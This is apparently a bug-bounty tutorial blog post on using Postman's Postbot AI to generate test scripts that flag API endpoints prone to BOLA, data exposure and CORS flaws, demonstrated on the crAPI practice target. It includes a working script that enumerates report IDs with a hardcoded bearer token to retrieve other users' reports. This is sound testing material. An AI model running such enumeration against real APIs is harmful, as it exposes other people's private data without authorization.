Using AI is a great way to accelerate the discovery of vulnerabilities in an API. There are now many different ways of integrating AI into your game. One of my favorite is using Postman’s Postbot feature. Postbot writes full test scripts from a simple AI prompt. Use this in conjunction with Postman’s collection runner and you have a killer combination.
The point here is to scan a collection of endpoints and return those with features that are typically associated with a given vulnerability type.
If you’re looking for BOLA, you could scan for endpoints that include a JWT in an authorization header and a URL parameter in the URL. This will yield endpoints you can test with a user’s JWT as well as a parameter value leading to another user’s resource.
If you’re looking for endpoints that expose other users’ information (i.e. excessive data exposure), you could scan for endpoints that return strings formatted as emails or UUIDs in the response body.
If you’re looking for a CORS misconfiguration, you could scan for endpoints that include an Access-Control-Allow-Origin: response header with the value “*“.
This won’t hand you a vuln straight away, but it lets you single out the endpoints that are most likely to be vulnerable, so you can focus on exploring those first. In other words, AI gives you shortcuts.
This is particularly interesting if you’re up against an API that comes with a very large collection of endpoints that can seem overwhelming. Using AI in this way helps you focus your efforts on where the action is most likely to happen.
Testing on a collection of endpoints
APIs often come with documentation that can be imported into Postman as a collection of usable endpoints. In other cases, you may need to reverse engineer an API and create a collection yourself (I have a post explaining this process).
In both cases, you have a list of endpoints to test. Postman’s collection runner lets you run a test on a complete collection automatically.
So first we need some tests.
Writing a test script with Postbot
Start Postman, select the collection of endpoints you want to work with then display the Tests tab (in the present case, I’m using crAPI, a deliberately vulnerable practice API that I’m sure many of you have already played with).
Click on the Postbot icon at the bottom right of the interface.
Now enter: ‘Add a test that passes if there is a JWT in the request headers and if the character “?” is anywhere in the request URL’.
Postbot generates a Javascript test that you can paste into the Tests panel.
Click the Save button to save the collection, then click the Run button.
This moves you into the collection runner.
Here you are given a list of all endpoints in the collection. You can uncheck some of them if you wish to exclude those from the run. In the present case, let’s keep them all selected.
Make sure the Run manually button is checked and Iterations is set to 1. Then click the Run button.
Postman runs the collection and displays the result. We can see some endpoints passed the test and some failed. Click on the Passed tab.
The four endpoints that passed our test are displayed (there are actually three endpoints that passed, the fourth one being a duplicate I made in the collection when I was manually testing the target).
Now you can click on any one of them to display the endpoint and investigate further.
Truth be said, I must tell you that the first instance of the test generated by Postbot had an error and failed the collection run. I has to look into it to find a syntax error on the third line.
Changing pm.request.url.includes to request.url.includes allowed the test to run.
As can happen with large language models, you will sometimes run into a glitch. My advice : keep track of all the tests you generated successfully as well as those you fixed and keep them as a reference, either to run them on later jobs or to use them as building blocks to create more complex test scripts.
Here is the successful test in plain text:
pm.test("JWT in headers and '?' in URL", function () {
pm.expect(pm.request.headers.has("Authorization")).to.be.true;
pm.expect(request.url.includes('?')).to.be.true;
});
Testing for UUIDs
Suppose we know some endpoints in the collection include a user’s UUID in the URL path and we want to find them. Try the following prompt: ‘Add a test that passes if there is a UUID anywhere in the request URL’.
Postbot generates the following test:
pm.test("UUID in URL Test", function () {
var url = pm.request.url.toString();
pm.expect(url).to.match(/.*\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}.*/);
});
As you can see, Postbot decided to use a regex to find the string we want.
Running the test on the crAPI collection successfully singled out the following endpoint:
http://192.168.1.25:8888/identity/api/v2/vehicle/988ef005-5eaa-48fa-8fbb-661bae571f0b/location
Finding leaked emails
Another example? Let’s find endpoints that bring back other users’ emails.
Try the following prompt: ‘Add a test that passes if there is an email anywhere in the response body’.
Postbot generates the following test:
pm.test("Check for email in the response body", function () {
var response = pm.response.json();
var responseString = JSON.stringify(response);
pm.expect(responseString).to.include('@');
});
So no regex this time. Postbot takes the easy route by looking for @ characters.
In crAPI, this is enough to find the following endpoint that leaks the emails of at least three other users:
http://192.168.1.25:8888/community/api/v2/community/posts/recent
So a pretty good find altogether.
Fuzzing with Postbot
Postbot generated scripts don’t necessarily associate with collection runs. You can also use Postbot in the Tests tab of any individual endpoint.
Let’s focus on a crAPI endpoint we think may be leaking reports that belong to other users (in other words a BOLA vuln):
http://192.168.1.25:8888/workshop/api/mechanic/mechanic_report?report_id={{report}}
Having tested crAPI before, I can tell you the endpoint above returns a 200 OK response when a report is sent back and a 400 Bad Request when we ask for a report that doesn’t exist.
In the present case, the user we are identified as has one report on the server (report_id=6). The other reports belong to other users.
Let’s see if we can write a test to fuzz the endpoint.
In the Tests panel, I gave Postbot the following prompt: ‘Add a test that loops through numbers 1 to 15 and pollutes the “report_id” parameter of each request. Pass the test if more than one response has a 200 OK response code’.
This is the test that Postbot generated:
// Loop through numbers 1 to 15 and pollute the "report_id" parameter of each request
for (let i = 1; i <= 15; i++) {
pm.sendRequest({
url: `http://192.168.1.25:8888/workshop/api/mechanic/mechanic_report?report_id=${i}`,
method: 'GET',
}, function (err, response) {
pm.test(`Response status code is 200 for report_id=${i}`, function () {
pm.expect(response.code).to.equal(200);
});
});
}
The test runs all 15 entries individually. But interestingly, all of them fail.
Looking closer, we see all instances return a 401 response code, which means the requests were unauthenticated, regardless of the fact that a valid Authorization header is listed in this endpoint’s request headers.
Somehow, the Authorization header didn’t follow.
So let’s add it manually in the test script:
// Loop through numbers 1 to 15 and pollute the "report_id" parameter of each request
for (let i = 1; i <= 15; i++) {
pm.sendRequest({
url: `http://192.168.1.25:8888/workshop/api/mechanic/mechanic_report?report_id=${i}`,
method: 'GET',
header: {
'Authorization':'Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJlZEBnbWFpbC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcwNjIwNDkwMSwiZXhwIjoxNzA2ODA5NzAxfQ.GAleH0PjBb-AAxY_qfou8I-aUnUmZAI-T-UQU3PDwqxKTnM_pmY7mcXJwEnXJjd1gqBuCNlujevw_sUW70S2CN00uPaNzv9HwYY5Ifvnzl5bwaZoKU4tDgBoNm_oIBE-DkLAxaVbSY0pEr5AO2oBkX2LMATbwXOWB3VP5PAveDSgaeob-28Ad9iA-H1pKYDpP-OlYD6DSCAZsSAVpS64I1wSjGEUqGjrCoYjppWAI02dria_Kuan40LdTH4kTEV53eekqbV-JTHA5OyXujnW_Y0jPc2xxD7e33hJHrTjlrvtOMKnxIHsollj_WuXZdGz7aoDaBV3UQ-L6gWtYA4DtQ'
},
}, function (err, response) {
pm.test(`Response status code is 200 for report_id=${i}`, function () {
pm.expect(response.code).to.equal(200);
});
});
}
This time, the script does its job and several entries pass. This means our request was able to successfully bring back several reports. As only one report belongs to our user, this validates the fact that our endpoint does not perform a proper authorization check before returning a report. So we have our BOLA vuln.
Closing thoughts
One word of caution. In Postman, a free plan only grants you 50 Postbot calls and 25 manual collection runs per month. Your limit is reset every month. So use your ammo wisely.
If you need more Postbot calls, you can get unlimited usage for $9 a month.
And if you need more collection runs, you’ll have to switch to a Professional plan that grants you 250 monthly runs, for $39 a month ($29 a month if billed annually).
My advice: if you run out of Postbot calls, switch to ChatGPT to write your Postman test scripts. If you’re using GPT-4, you can also try Hacking APIs GPT, Corey Ball‘s custom GPT, or Jason Haddix‘s SecGPT.
And if you want more collection runs, well, you know where to spend your first bounties…
And as a final note, it would be unfair not to credit Dana Epp for drawing my attention to Postbot initially. If you want another perspective on Postbot, Dana has an interesting blog post here.
Have fun!
